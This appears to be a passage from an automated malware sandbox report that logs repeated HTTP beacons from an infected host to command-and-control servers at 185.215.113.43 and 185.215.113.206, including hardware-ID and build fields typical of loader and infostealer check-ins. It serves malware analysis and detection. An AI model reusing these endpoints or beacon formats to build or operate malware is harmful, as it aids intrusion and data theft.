------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="hwid"621030F647411176838713------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="build"tale------DHDHJJJECFIECBGDGCAA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 34 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002748001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJECBKKECFIEBGCAKJKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 31 30 33 30 46 36 34 37 34 31 31 31 37 36 38 33 38 37 31 33 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------HJJECBKKECFIEBGCAKJKContent-Disposition: form-data; name="hwid"621030F647411176838713------HJJECBKKECFIEBGCAKJKContent-Disposition: form-data; name="build"tale------HJJECBKKECFIEBGCAKJK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBFBGCGIJKJJKFIDBFCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 31 30 33 30 46 36 34 37 34 31 31 31 37 36 38 33 38 37 31 33 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 2d 2d 0d 0a Data Ascii: ------GCBFBGCGIJKJJKFIDBFCContent-Disposition: form-data; name="hwid"621030F647411176838713------GCBFBGCGIJKJJKFIDBFCContent-Disposition: form-data; name="build"tale------GCBFBGCGIJKJJKFIDBFC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCAKKECAEGDGCBFIJEGHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 31 30 33 30 46 36 34 37 34 31 31 31 37 36 38 33 38 37 31 33 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="hwid"621030F647411176838713------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="build"tale------GCAKKECAEGDGCBFIJEGH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGIIECGHCAKECAFBFHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 49 49 45 43 47 48 43 41 4b 45 43 41 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 31 30 33 30 46 36 34 37 34 31 31 31 37 36 38 33 38 37 31 33 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 49 49 45 43 47 48 43 41 4b 45 43 41 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 49 49 45 43 47 48 43 41 4b 45 43 41 46 42 46 48 2d 2d 0d 0a Data Ascii: ------GCBGIIECGHCAKECAFBFHContent-Disposition: form-data; name="hwid"621030F647411176838713------GCBGIIECGHCAKECAFBFHContent-Disposition: form-data; name="build"tale------GCBGIIECGHCAKECAFBFH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
